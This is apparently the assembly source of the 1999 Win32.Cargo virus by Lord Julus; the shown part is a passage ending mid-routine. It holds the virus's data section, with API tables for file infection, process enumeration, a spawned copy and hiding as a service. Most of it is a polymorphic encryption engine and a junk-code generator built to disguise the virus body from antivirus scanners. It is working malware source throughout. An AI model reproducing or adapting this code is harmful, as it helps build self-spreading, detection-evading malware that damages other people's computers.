ID_FirstThunk         DD IMAGE_THUNK_DATA PTR ?  ; RVA to IAT
IMAGE_IMPORT_DESCRIPTOR ENDS        ;
IMAGE_IMPORT_DESCRIPTOR_SIZE = SIZE IMAGE_IMPORT_DESCRIPTOR

IMAGE_EXPORT_DIRECTORY STRUC                ; Export Directory type
ED_Characteristics        DD ?              ; Flags
ED_TimeDateStamp          DD ?              ; Date / Time
ED_MajorVersion           DW ?              ; Major version
ED_MinorVersion           DW ?              ; Minor version
ED_Name                   DD    BYTE PTR ?  ; Ptr to name of exported DLL
                          UNION             ;
ED_Base                   DD    ?           ; base
ED_BaseOrdinal            DD    ?           ; base ordinal
                          ENDS              ;
ED_NumberOfFunctions      DD    ?           ; number of exported funcs.
                          UNION             ;
ED_NumberOfNames          DD    ?           ; number of exported names
ED_NumberOfOrdinals       DD    ?           ; number of exported ordinals
                          ENDS              ;
ED_AddressOfFunctions     DD    DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames         DD    DWORD PTR ? ; Ptr to array of (function) name addresses
                          UNION             ;
ED_AddressOfNameOrdinals  DD    WORD PTR ?  ; Ptr to array of name ordinals
ED_AddressOfOrdinals      DD    WORD PTR ?  ; Ptr to array of ordinals
                          ENDS              ;
IMAGE_EXPORT_DIRECTORY ENDS                 ;

Filetime                STRUC             ; filetime structure
FT_dwLowDateTime        dd ?              ;
FT_dwHighDateTime       dd ?              ;
Filetime                ENDS              ;
                                          ;
win32_find_data         STRUC             ;
FileAttributes          dd ?              ; attributes
CreationTime            Filetime ?        ; time of creation
LastAccessTime          Filetime ?        ; last access time
LastWriteTime           Filetime ?        ; last modificationm
FileSizeHigh            dd ?              ; filesize
FileSizeLow             dd ?              ; -"-
Reserved0               dd ?              ;
Reserved1_              dd ?              ;
FileName                db 260 dup (?)    ; long filename
AlternateFileName       db 13 dup (?)     ; short filename
                        db 3 dup (?)      ; dword padding
win32_find_data         ENDS              ;
                                          ;
STARTUPINFO STRUC                         ; used by CreateProcess
    STI_cb              DD ?              ;
    STI_lpReserved      DD BYTE PTR ?     ;
    STI_lpDesktop       DD BYTE PTR ?     ;
    STI_lpTitle         DD BYTE PTR ?     ;
    STI_dwX             DD ?              ;
    STI_dwY             DD ?              ;
    STI_dwXSize         DD ?              ;
    STI_dwYSize         DD ?              ;
    STI_dwXCountChars   DD ?              ;
    STI_dwYCountChars   DD ?              ;
    STI_dwFillAttribute DD ?              ;
    STI_dwFlags         DD ?              ;
    STI_wShowWindow     DW ?              ;
    STI_cbReserved2     DW ?              ;
    STI_lpReserved2     DD BYTE PTR ?     ;
    STI_hStdInput       DD ?              ;
    STI_hStdOutput      DD ?              ;
    STI_hStdError       DD ?              ;
STARTUPINFO ENDS                          ;
                                          ;
PROCESS_INFORMATION STRUC                 ; Created by CreateProcess
    PI_hProcess    DD ?                   ;
    PI_hThread     DD ?                   ;
    PI_dwProcessId DD ?                   ;
    PI_dwThreadId  DD ?                   ;
PROCESS_INFORMATION ENDS                  ;
                                     ;;;;;;
PROCESSENTRY32 STRUC                 ;
    dwSize            DD 0           ; goddamn this... >:->
    cntUsage          DD 0           ;
    th32ProcessID     DD 0           ;
    th32DefaultHeapID DD 0           ;
    th32ModuleID      DD 0           ;
    cntThreads        DD 0           ;
    th32ParentProcessID DD 0         ;
    pcPriClassBase    DD 0           ;
    dwFlags           DD 0           ;
    szExeName DB 260  DUP(0)         ;
PROCESSENTRY32 ENDS                  ;
                                     ;
SYSTEMTIME STRUC                     ;
    ST_wYear         DW ?            ;
    ST_wMonth        DW ?            ;
    ST_wDayOfWeek    DW ?            ;
    ST_wDay          DW ?            ;
    ST_wHour         DW ?            ;
    ST_wMinute       DW ?            ;
    ST_wSecond       DW ?            ;
    ST_wMilliseconds DW ?            ;
SYSTEMTIME ENDS                      ;
                                     ;
startupinfo   STARTUPINFO         ?  ;
processinfo   PROCESS_INFORMATION ?  ;
systemtime    SYSTEMTIME          ?  ;
process32 PROCESSENTRY32 <size PROCESSENTRY32> ; our process32
spawnname     db 260 dup (0)         ;
spawnfile     db "\ograc.exe",0      ; the name of the spawned copy
mutex         db "cargo",0           ; mutex 1
mutex2        db "ograc",0           ; mutex 2
newimagebase  label                  ;
imagebase     dd 00400000h           ; the image base
filehandle    dd 0                   ; filehandle
filealign     dd 0                   ; file alignment
nob           dd 0                   ; number of bytes
temp          dd 0                   ; temp variable
t32h dd 0                            ; toolhelp snapshot handle
IF DEBUG                             ;
windowmessage db "Process closed: "  ;
file          db 260 dup(0)          ;
windowtitle db "Win32.Cargo by Lord Julus",0 ;
_name db 260 dup(?)                  ;
ENDIF                                ;
threadid dd 0                        ; new thread ID
hthread dd 0                         ; new thread handle
                                     ;
firstmemo  dd 0                      ; first array handle
secondmemo dd 0                      ; second array handle
firstsize  dd 0                      ; first array size
secondsize dd 0                      ; second array size
firstindex dd 0                      ; first index
secondindex dd 0                     ; second index
                                     ;
temp_mem_ptr dd 0                    ; temp
temp_mem_sze dd 0                    ; temp
                                     ;
flag         dd 0                    ; flags
error        dd 0                    ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

k32_names label
                           db        "ExitProcess",0
                           db        "CreateProcessA",0
                           db        "GetStartupInfoA",0
                           db        "GetCurrentProcess",0
                           db        "SetPriorityClass",0
                           db        "Sleep",0
                           db        "GetCommandLineA",0
                           db        "lstrlen",0
                           db        "CloseHandle",0
                           db        "CreateFileA",0
                           db        "CreateMutexA",0
                           db        "GetLastError",0
                           db        "IsBadReadPtr",0
                           db        "WriteFile",0
                           db        "SetFilePointer",0
                           db        "RegisterServiceProcess",0
                           db        "GetProcAddress",0
                           db        "GetModuleHandleA",0
                           db        "CreateToolhelp32Snapshot",0
                           db        "Process32First",0
                           db        "Process32Next",0
                           db        "CreateThread",0
                           db        "WaitForSingleObject",0
                           db        "ExitThread",0
                           db        "ResumeThread",0
                           db        "GlobalAlloc",0
                           db        "GlobalReAlloc",0
                           db        "GlobalFree",0
                           db        "lstrcpy",0
                           db        "SetThreadPriority",0
                           db        "GetFileTime",0
                           db        "SetFileTime",0
                           db        "GetFileAttributesA",0
                           db        "SetFileAttributesA",0
                           db        "CreateFileMappingA",0
                           db        "MapViewOfFile",0
                           db        "UnmapViewOfFile",0
                           db        "SetEndOfFile",0
                           db        "GetFileSize",0
                           db        "GetSystemTime",0
                           db        "GetSystemDirectoryA",0
                           db        "lstrcat",0
                           db        0FFh

k32_apis label
_ExitProcess               dd 0
_CreateProcessA            dd 0
_GetStartupInfoA           dd 0
_GetCurrentProcess         dd 0
_SetPriorityClass          dd 0
_Sleep                     dd 0
_GetCommandLineA           dd 0
_lstrlen                   dd 0
_CloseHandle               dd 0
_CreateFileA               dd 0
_CreateMutexA              dd 0
_GetLastError              dd 0
_IsBadReadPtr              dd 0
_WriteFile                 dd 0
_SetFilePointer            dd 0
_RegisterServiceProcess    dd 0
_GetProcAddress            dd 0
_GetModuleHandleA          dd 0
_CreateToolhelp32Snapshot  dd 0
_Process32First            dd 0
_Process32Next             dd 0
_CreateThread              dd 0
_WaitForSingleObject       dd 0
_ExitThread                dd 0
_ResumeThread              dd 0
_GlobalAlloc               dd 0
_GlobalReAlloc             dd 0
_GlobalFree                dd 0
_lstrcpy                   dd 0
_SetThreadPriority         dd 0
_GetFileTime               dd 0
_SetFileTime               dd 0
_GetFileAttributes         dd 0
_SetFileAttributes         dd 0
_CreateFileMappingA        dd 0
_MapViewOfFile             dd 0
_UnmapViewOfFile           dd 0
_SetEndOfFile              dd 0
_GetFileSize               dd 0
_GetSystemTime             dd 0
_GetSystemDirectoryA       dd 0
_lstrcat                   dd 0

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

u32_names label
                           db        "MessageBoxA",0
                           db        "PeekMessageA",0
                           db        "GetDC",0
                           db        "GetAsyncKeyState",0
                           db        "GetSystemMetrics",0
                           db        0FFh

u32_apis label
_MessageBoxA               dd 0
_PeekMessageA              dd 0
_GetDC                     dd 0
_GetAsyncKeyState          dd 0
_GetSystemMetrics          dd 0

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

g32_names label
                           db        "StretchBlt",0
                           db        "BitBlt",0
                           db        0FFh

g32_apis label
_StretchBlt                dd 0
_BitBlt                    dd 0

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

kernel32_name      db "KERNEL32.dll",0
user32_name        db "USER32.dll",0
gdi32_name         db "GDI32.dll",0
k32                dd 0
u32                dd 0
g32                dd 0
getprocaddress     db "GetProcAddress",0
getprocaddresslen  = $-offset getprocaddress
getmodulehandle    db "GetModuleHandleA",0
getmodulehandlelen = $-offset getmodulehandle

oldeip             dd 0
handle1            dd 0
filesize           dd 0
maphandle          dd 0
mapaddress         dd 0
filetime           dq 0
                   dq 0
                   dq 0
fileattributes     dd 0
fileofs            dd 0
PEheader           dd 0
sectionalign       dd 0
lastsection        dd 0
smth               dd 0
saved_jump         dd 0

virussize          = end-start

;   谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪
;                                      
;   滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪
;   谀哪                                                             谀哪
;      M鶸鶯鶷鶬鶳鶯鶨  O鶳鶦鶲鶧鶨  F鶤鶱鶷鶤鶶鶬鶨鶶  32  B鶬鶷   
;   滥哪                                                             滥哪
;   谀哪                a polymorphic engine wrote by                谀哪
;                                                                    
;   滥哪                    LORD JULUS - 1999 (C)                    滥哪
;   谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪
;                                      
;   滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪
;
;   VERSION 2.5
;
; Parameters on entry:
;
;         ESI = offset to code to encrypt
;         EDI = offset to the decryptor place
;         EBX = address of the offset of code to decrypt at runtime
;         ECX = length of code to decrypt
;
; Returns: nothing


MOF32 proc near                       ; Here is the actual poly engine
      pushad                          ; body

; First let's encrypt the area that will be decrypted later

      call Choose_random_registers    ; choose the random registers to use
      mov dword ptr [ebp+codeaddr], ebx
      push edi                        ; save decryptor place
      push ecx                        ; save code in bytes
      mov ebx, esi                    ;
      add ebx, ecx                    ; ebx points to the end
      sub ebx, 4                      ; minus 1 dword
      shr ecx, 2                      ; we work on dwords
      push ebx ecx                    ;
      call random32                   ; get a random 32bit dword in EAX
      mov dword ptr [ebp+offset key], eax ; which is the encryption key
      call random32                   ;
      mov dword ptr [ebp+offset keyvalue], eax ; the key increment
      mov eax, 20h                    ; the static key.
      call brandom32                  ;
      inc eax                         ;
      mov dword ptr [ebp+offset key2], eax
      mov eax, 3                      ;
      call brandom32                  ; get a random value between 0-3
      mov dword ptr [ebp+offset op1], eax ; the encryption method
      mov eax, 2                      ;
      call brandom32                  ;
      mov dword ptr [ebp+offset op2], eax ; the static key method
      mov eax, 3                      ;
      call brandom32                  ;
      mov dword ptr [ebp+offset op3], eax ; the 'next code' method
      mov eax, 3                      ;
      call brandom32                  ;
      mov dword ptr [ebp+offset op4], eax ; the operation over the key
                                      ;
      pop ecx ebx                     ; restore length and pointer
      mov eax, [ebp+key]              ; put key in eax
      mov [ebp+offset codelength], ecx;

; First we encrypt the code                          0   1   2
; op1 = operation over code with the key register  (XOR/ADD/SUB)
; op2 = operation over code with the static key    (ROR/ROL)
; op3 = operation over code with next code         (XOR/ADD/SUB)
; op4 = operation over the key with the keyvalue   (XOR/ADD/SUB)

mainloop:
      mov edx, dword ptr [ebx]             ; edx = dword to encrypt
      push eax  ebx  ecx                   ;
      mov ecx, [ebp+op3]                   ; ecx = op3
      mov eax, edx                         ; <op3> eax, dword ptr [ebx+4]
      mov ebx, dword ptr [ebx+4]           ;
      call makeop                          ; do it!
      mov edx, eax                         ;
      pop ecx  ebx  eax                    ;
      push ecx                             ;
      mov ecx, [ebp+op2]                   ; ecx = op2
      cmp ecx, 0                           ;
      jne notror                           ;
      mov ecx, [ebp+key2]                  ;
      ror edx, cl                          ; ROR
      jmp over1                            ;
notror:                                    ;
      mov ecx, [ebp+key2]                  ;
      rol edx, cl                          ; ROL
over1:                                     ;
      pop ecx                              ;
      push eax  ebx  ecx                   ;
      mov ecx, [ebp+op1]                   ; ecx = op1
      mov ebx, eax                         ; we do <op1> edx, eax
      mov eax, edx                         ;
      call makeop                          ;
      mov edx, eax                         ;
      pop ecx  ebx  eax                    ;
                                           ;
      mov dword ptr [ebx], edx             ;
                                           ;
      push ebx  ecx                        ;
      cmp ecx, 1                           ;
      je no_thankyou                       ;
      mov ecx, [ebp+op4]                   ; ecx = op4
      mov ebx, [ebp+keyvalue]              ; we do <op4> eax, keyvalue
      call makeop                          ;
                                           ;
no_thankyou:                               ;
      pop ecx  ebx                         ;
                                           ;
      sub ebx, 4                           ; we go back 1 dword
      loop mainloop                        ; and loop
      jmp ok                               ; jump over

      db "Multiple Opcode Fantasies 32Bit V.2.5 by Lord Julus - 1999"

makeop:                                    ;
      cmp ecx, 0                           ; is it the first method ?
      jne notxor                           ;
      xor eax, ebx                         ; yes, XOR!
      jmp ready                            ;
notxor:                                    ;
      cmp ecx, 1                           ; or maybe second ?
      jne notadd                           ;
      add eax, ebx                         ; yes, ADD!
      jmp ready                            ;
notadd:                                    ;
      sub eax, ebx                         ; then, SUB!
ready:                                     ;
      ret                                  ;
                                           ;
ok:                                        ;
      pop ecx                              ; restore code length
      pop edi                              ; restore decryptor place
      shr ecx, 2                           ; we work on dwords
      mov dword ptr [ebp+offset key], eax  ; get decryption start key
      add ebx, 4                           ; align start of code

; eax = initial key
; ebx = initial offset
; ecx = real length in dwords
; Here we start taking, filling and writing the decryptor

      lea esi, [ebp+offset decryptor]      ; esi points to the decryptor
      mov [ebp+counter], 1                 ; counter for instructions
                                           ;
      mov eax, edi                         ; first we make some junk so that
      call makejunk                        ; the jump to the decryptor is
      call makejunk                        ; always at another offset
      mov ebx, edi                         ;
      sub ebx, eax                         ;
      mov [ebp+first_intend], ebx          ;
      call makejunk                        ; ...and some more...
                                           ;
getinstr:                                  ;
      cmp [ebp+counter], 13d               ;
      je over_all                          ;
      lodsb                                ; load one byte
      cmp al, 0FEh                         ; check for instruction end
      je over_instr                        ;
      cmp al, 0FFH                         ; check for final end
      je over_all                          ;
      stosb                                ; store the byte
      jmp getinstr                         ; do it again...
                                           ;
over_instr:                                ;
      call makeinstr                       ; fill the instruction
      cmp [ebp+counter], 11d               ;
      je no_junk_please                    ;
      call makejunk                        ; create junk after it
                                           ;
no_junk_please:                            ;
      inc [ebp+counter]                    ; increment counter
      jmp getinstr                         ; and do it again...
                                           ;
over_all:                                  ; the end...
      call makejunk                        ; ...final junk
      call makejunk                        ;
      mov [ebp+the_end], edi               ; mark the end
      call makejunk                        ; some more...
      call makejunk                        ;
      mov [ebp+end_end], edi               ; real end !
      popad                                ; restore registers
      ret                                  ; and return

;圻哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Here we have the instruction maker and the junk code generator.           
;圮苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

makeinstr proc near                        ; The routine to fill the instr.
      pushad                               ; save all regs
      cmp [ebp+counter], 13d               ; check for counter < 13
      je ok_procs                          ;
                                           ;
      mov ebx, dword ptr [ebp+counter]     ; don't tell me that this is not
      dec ebx                              ; optimized because I know, but
      cmp ebx, 0                           ; it is very difficult to deal
      je proc01                            ; with relative shit relative
      cmp ebx, 1                           ; to different imagebases...
      je proc02                            ; so get of my back ;-)
      cmp ebx, 2                           ;
      je proc03                            ;
      cmp ebx, 3                           ;
      je proc04                            ;
      cmp ebx, 4                           ;
      je proc05                            ;
      cmp ebx, 5                           ;
      je proc06                            ;
      cmp ebx, 6                           ;
      je proc07                            ;
      cmp ebx, 7                           ;
      je proc08                            ;
      cmp ebx, 8                           ;
      je proc09                            ;
      cmp ebx, 9                           ;
      je proc10                            ;
      cmp ebx, 10                          ;
      je proc11                            ;
      cmp ebx, 11                          ;
      je proc12                            ;
      jmp ok_procs                         ;

;Here are the procedures to fill each instruction of the real decryptor

proc01:                                    ; mov preg, code_start
      and byte ptr [edi-5], 11111000b      ; clear the place for preg
      mov al, byte ptr [ebp+offset preg]   ;
      or byte ptr [edi-5], al              ; fill the preg
      mov eax, dword ptr [ebp+offset codeaddr]
      or dword ptr [edi-4], eax            ; fill the code start value
      jmp ok_procs                         ;
                                           ;
proc02:                                    ; mov kreg, key
      and byte ptr [edi-5], 11111000b      ; clear the place for kreg
      mov al, byte ptr [ebp+offset kreg]   ;
      or byte ptr [edi-5], al              ; fill the kreg
      mov eax, dword ptr [ebp+offset key]  ;
      or dword ptr [edi-4], eax            ; fill the key value
      jmp ok_procs                         ;
                                           ;
proc03:                                    ; mov lreg, code_length/8
      and byte ptr [edi-5], 11111000b      ; clear the place for lreg
      mov al, byte ptr [ebp+offset lreg]   ;
      or byte ptr [edi-5], al              ; fill the lreg
      mov eax, dword ptr [ebp+offset codelength]
      or dword ptr [edi-4], eax            ; fill the code length value
      jmp ok_procs                         ;
                                           ;
proc04:                                    ; mov creg, [preg] (mainloop)
      and byte ptr [edi-1], 11000000b      ; clear for pointer and code regs
      mov al, byte ptr [ebp+offset preg]   ;
                                           ;
      cmp al, 5                            ; take care of [EBP] exception
      jne not_ebp                          ; (when we use [EBP] addressing
      mov al, 0                            ;  mode, we need a suplemental
      stosb                                ;  00 byte after the opcode
      mov al, 5                            ;  and a 01000000b fill up - see
      and byte ptr [edi-2], 0              ;  (*))
      or byte ptr [edi-2], al              ; and fill them up...
      mov al, byte ptr [ebp+offset creg]   ;
      shl al, 3                            ; align like this: xxNNNxxx
      or byte ptr [edi-2], al              ;
      or byte ptr [edi-2], 01000000b       ; (*)
      mov increment_flag, 1                ;
      mov eax, edi                         ;
      sub eax, 3                           ;
      jmp done_i04                         ;
                                           ;
                                           ;
not_ebp:                                   ;
      or byte ptr [edi-1], al              ; and fill them up...
      mov al, byte ptr [ebp+offset creg]   ;
      shl al, 3                            ; align like this: xxNNNxxx
      or byte ptr [edi-1], al              ;
      mov eax, edi                         ;
      sub eax, 2                           ;
                                           ;
done_i04:                                  ;
      mov dword ptr [ebp+offset mainlp], eax;
      jmp ok_procs                         ;
                                           ;
proc05:                                    ; <op1> creg, kreg
      and byte ptr [edi-1], 11000000b      ; clear for r/m and reg
      mov al, byte ptr [ebp+offset creg]   ; get creg,
      shl al, 3                            ; align like this xxNNNxxx
      or byte ptr [edi-1], al              ;
      mov al, byte ptr [ebp+offset kreg]   ;
      or byte ptr [edi-1], al              ;
      and byte ptr [edi-2], 0              ;
      mov eax, dword ptr [ebp+offset op1]  ;
      lea esi, [ebp+offset un_op_code1]    ;
      add esi, eax                         ;
      mov al, byte ptr [esi]               ;
      or byte ptr [edi-2], al              ;
      jmp ok_procs                         ;
                                           ;
proc06:                                    ; <op2> creg, key2
      and byte ptr [edi-2], 11111000b      ;
      mov al, byte ptr [ebp+offset creg]   ; fill creg
      or byte ptr [edi-2], al              ;
      mov al, byte ptr [ebp+offset key2]   ; fill key
      or byte ptr [edi-1], al              ;
      mov eax, dword ptr [ebp+offset op2]  ;
      lea esi, [ebp+offset un_op_code3]    ;
      add esi, eax                         ;
      mov al, byte ptr [esi]               ;
      and byte ptr [edi-2], 00000111b      ;
      or byte ptr [edi-2], al              ;
      jmp ok_procs                         ;
                                           ;
proc07:                                    ; <op3> creg, [preg+4]
      and byte ptr [edi-2], 11000000b      ;
      mov al, byte ptr [ebp+offset preg]   ;
      or byte ptr [edi-2], al              ;
      mov al, byte ptr [ebp+offset creg]   ;
      shl al, 3                            ;
      or byte ptr [edi-2], al              ;
      and byte ptr [edi-3], 0              ;
      mov eax, dword ptr [ebp+offset op3]  ;
      lea esi, [ebp+offset un_op_code1]    ;
      add esi, eax                         ;
      mov al, byte ptr [esi]               ;
      or byte ptr [edi-3], al              ;
      jmp ok_procs                         ;
                                           ;
proc08:                                    ; mov [preg], creg
      and byte ptr [edi-1], 11000000b      ; clear for pointer and code regs
      mov al, byte ptr [ebp+offset preg]   ;

      cmp al, 5                            ; take care of [EBP] exception
      jne not_ebp2                         ; (check proc04 for explanation)
      mov al, 0                            ;
      stosb                                ;
      mov al, 5                            ;
      and byte ptr [edi-2], 0              ;
      or byte ptr [edi-2], al              ; and fill them up...
      mov al, byte ptr [ebp+offset creg]   ;
      shl al, 3                            ; align like this: xxNNNxxx
      or byte ptr [edi-2], al              ;
      or byte ptr [edi-2], 01000000b       ;
      mov increment_flag, 1                ;
      jmp done_i08                         ;
                                           ;
not_ebp2:                                  ;
      or byte ptr [edi-1], al              ; and fill them up...
      mov al, byte ptr [ebp+offset creg]   ;
      shl al, 3                            ; align like this: xxNNNxxx
      or byte ptr [edi-1], al              ;
                                           ;
done_i08:                                  ;
      jmp ok_procs                         ;
                                           ;
proc09:                                    ; <op4> kreg, keyvalue
      and byte ptr [edi-6], 0              ;
      mov eax, dword ptr [ebp+offset op4]  ;
      lea esi, [ebp+offset un_op_code2]    ;
      shl eax, 1                           ;
      add esi, eax                         ;
      mov ax, word ptr [esi]               ;
      and word ptr [edi-6], 0              ;
      or word ptr [edi-6], ax              ;
      and byte ptr [edi-5], 11111000b      ;
      mov al, byte ptr [ebp+offset kreg]   ; fill kreg
      or byte ptr [edi-5], al              ;
      mov eax, dword ptr [ebp+offset keyvalue] ; fill key
      and dword ptr [edi-4], 0             ;
      or dword ptr [edi-4], eax            ;
      jmp ok_procs                         ;
                                           ;
proc10:                                    ; sub preg, 4
      and byte ptr [edi-2], 11111000b      ;
      mov al, byte ptr [ebp+offset preg]   ;
      or byte ptr [edi-2], al              ;
      jmp ok_procs                         ;
                                           ;
proc11:                                    ; sub lreg, 1
      and byte ptr [edi-2], 11111000b      ;
      mov al, byte ptr [ebp+offset lreg]   ;
      or byte ptr [edi-2], al              ;
      jmp ok_procs                         ;
                                           ;
proc12:                                    ; jnz mainloop
      mov eax, dword ptr [ebp+offset mainlp];
      mov edx, edi                         ;
      add edx, 4                           ;
      sub eax, edx                         ;
      and dword ptr [edi], 0               ;
      or dword ptr [edi], eax              ;
      popad                                ;
      add edi, 4                           ;
      jmp special_ok_procs                 ;
                                           ;
ok_procs:                                  ; done!
      popad                                ; restore all regs
                                           ;
special_ok_procs:                          ;
      cmp [ebp+increment_flag], 1          ; If we stored suplemental bytes
      jne no_increment                     ; we need to move edi forward.
      inc edi                              ;
      mov [ebp+increment_flag], 0          ;
                                           ;
no_increment:                              ;
      ret                                  ; and return
makeinstr endp                             ;
                                           ;

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; 脖鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍
; 脖
; 脖  Lord Julus' Junk Generator Module V.1.0 (March 1999)                 
; 脖                                                                       辈
;                                                                        氨
;                                                                         氨
; 鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍鞍氨

makejunk proc near                              ; This is the main junk
      push eax ebx ecx edx esi                  ;
      mov ecx, maxjunks                         ; routine.
junk_loop:                                      ;
      call _makejunk                            ;
      loop junk_loop                            ;
      pop esi edx ecx ebx eax                   ;
      ret                                       ;
makejunk endp                                   ;

      db "JGM - Junk Generator Module V.1.0 by Lord Julus - March 1999"

_makejunk proc near                             ; Generate junk!
      push eax                                  ;
      mov eax, 5                                ; choose between safe junks
      call brandom32                            ; and junks that might
      cmp eax, 3                                ; generate exception errors
      jae flawable_junk                         ;
                                                ;
      call make_sure_junk                       ;
      jmp exit_junk                             ;
                                                ;
flawable_junk:                                  ;
      call make_flaw_junk                       ;
                                                ;
exit_junk:                                      ;
      pop eax                                   ;
      ret                                       ; and return
_makejunk endp                                  ;
                                                ;
make_flaw_junk proc near                        ; Here we will generate
      push eax ebx ecx edx                      ; junks that could raise
      mov eax, max_junk_hunk                    ; exception errors...
      call brandom32                            ;
      inc eax                                   ;
                                                ;
      mov [ebp+flawable], 0                     ; (mark the type)
                                                ;
      mov ecx, eax                              ;
                                                ;
      mov al, 0E9h                              ; ...and so we generate a
      stosb                                     ; Jump to skip them
      mov [ebp+address_save], edi               ; save jump place
      mov eax, 0                                ;
      stosd                                     ;
                                                ;
repeat_makejunk:                                ;
      call output_one_junk                      ; now we make the junks
      loop repeat_makejunk                      ;
                                                ;
      push edi                                  ;
      sub edi, [ebp+address_save]               ; and create the jump
      mov eax, edi                              ; address
      sub eax, 4                                ;
      mov edi, [ebp+address_save]               ;
      stosd                                     ;
      pop edi                                   ;
                                                ;
      pop edx ecx ebx eax                       ;
      ret                                       ;
make_flaw_junk endp                             ;
                                                ;
make_sure_junk proc near                        ;
      push eax ebx ecx edx                      ; junks that could raise
      mov eax, max_junk_hunk                    ; exception errors...
      call brandom32                            ;
      inc eax                                   ;
                                                ;
      mov [ebp+flawable], 1                     ; (mark type)
                                                ;
      mov ecx, eax                              ;
                                                ;
repeat_makejunk_2:                              ;
      call output_one_junk                      ; now we make the junks
      loop repeat_makejunk_2                    ;
                                                ;
      pop edx ecx ebx eax                       ;
      ret                                       ;
make_sure_junk endp                             ;
                                                ;
output_one_junk proc                            ; This procedure outputs
      push ecx                                  ; one junk instruction
                                                ;
      call choose_random_disp                   ; First choose displacements
                                                ;
choose_another:                                 ;
      mov eax, Table_numbers                    ; Choose one instruction
      call brandom32                            ; table
                                                ;
      cmp [ebp+we_create_jcond], 1              ; prevent reentry
      jne no_case                               ; when creating conditional
      cmp eax, 3                                ; jumps
      je choose_another                         ;
      cmp eax, 5                                ;
      je choose_another                         ;
                                                ;
no_case:                                        ;
      cmp [ebp+flawable], 1                     ; if the instruction mustn't
      jne go_on_unstopped                       ; generate exception errors
      cmp eax, 0                                ; we cannot use table 1!
      je choose_another                         ;
                                                ;
go_on_unstopped:                                ;
      lea ebx, dword ptr [ebp+junk_table_procs] ; take out the procedure
      shl eax, 2                                ;
      add ebx, eax                              ;
      mov eax, dword ptr [ebx]                  ;
      add eax, ebp                              ;
      jmp eax                                   ; and jump to it...
                                                ;
junk_proc1:                                     ; here we use table1
      mov eax, 2                                ;
      call brandom32                            ;
      mov ebx, eax                              ; save possible increment
      add ebx, 2                                ; 2 or 3...
                                                ;
      mov eax, Table1_len                       ; take a random operation
      call brandom32                            ; from the Table1
      shl eax, 1                                ;
      lea esi, dword ptr [ebp+Table1]           ;
      add esi, eax                              ;
      lodsb                                     ;
      add eax, ebx                              ; toggle size
      stosb                                     ;
                                                ;
      lea esi, dword ptr [ebp+ModRM]            ; take a modrm byte
      call choose_jreg                          ; choose the random jreg
      mov edx, eax                              ;
      mov eax, 32                               ; and a random addressing
      call brandom32                            ; type
      mov dword ptr [ebp+row], eax              ; save the row
      shl eax, 3                                ;
      add esi, eax                              ;
      add esi, edx                              ;
      lodsb                                     ;
      stosb                                     ; store modrm
                                                ;
      mov eax, 2                                ; choose addressing type
      call brandom32                            ;
                                                ;
      cmp eax, 1                                ; is it 32bit addressing?
      je _32bit_addressing                      ;
                                                ;
      mov ax, word ptr [edi-2]                  ; if it's 16bit then we
      shl eax, 10                               ; must go behind the opcode
      dec edi                                   ;
      dec edi                                   ;
      mov al, Address_size_toggle               ; and put an Address size
      stosb                                     ; toggle prefix there
      shr eax, 10                               ;
      stosw                                     ;
                                                ;
_16bit_addressing:                              ;
      mov edx, dword ptr [ebp+row]              ; restore row in edx
      cmp edx, 6                                ; DISP16 needed ?
      jne not_exc_1                             ;
      mov ax, word ptr [ebp+disp16]             ;
      stosw                                     ;
                                                ;
      jmp finish_processing_1                   ;
                                                ;
not_exc_1:                                      ;
      cmp edx, 7                                ; Need to add a DISP8 ?
      jbe not_exc_2                             ;
      cmp edx, 16                               ;
      jae not_exc_2                             ;
      mov al, byte ptr [ebp+disp8]              ;
      stosb                                     ;
                                                ;
      jmp finish_processing_1                   ;
                                                ;
not_exc_2:                                      ;
      cmp edx, 15                               ; Need to add a DISP16 ?
      jbe not_exc_3                             ;
      cmp edx, 24                               ;
      jae not_exc_3                             ;
      mov ax, word ptr [ebp+disp16]             ;
      stosw                                     ;
                                                ;
      jmp finish_processing_1                   ;
                                                ;
not_exc_3:                                      ;
      jmp finish_processing_1                   ;
                                                ;
_32bit_addressing:                              ;
      mov edx, dword ptr [ebp+row]              ; restore row in edx
      cmp edx, 5                                ;
      jne not_exc_4                             ;
      mov eax, dword ptr [ebp+disp32]           ;
      stosd                                     ;
      jmp finish_processing_1                   ;
                                                ;
not_exc_4:                                      ;
      cmp edx, 4                                ;
      je need_sib                               ;
      cmp edx, 12                               ;
      je need_sib                               ;
      cmp edx, 20                               ;
      je need_sib                               ;
                                                ;
      cmp edx, 7                                ; Need to add a DISP8 ?
      jbe not_exc_5                             ;
      cmp edx, 16                               ;
      jae not_exc_5                             ;
      mov al, byte ptr [ebp+disp8]              ;
      stosb                                     ;
      jmp finish_processing_1                   ;
                                                ;
not_exc_5:                                      ;
      cmp edx, 15                               ; Need to add a DISP32 ?
      jbe not_exc_6                             ;
      cmp edx, 24                               ;
      jae not_exc_6                             ;
      mov eax, dword ptr [ebp+disp32]           ;
      stosd                                     ;
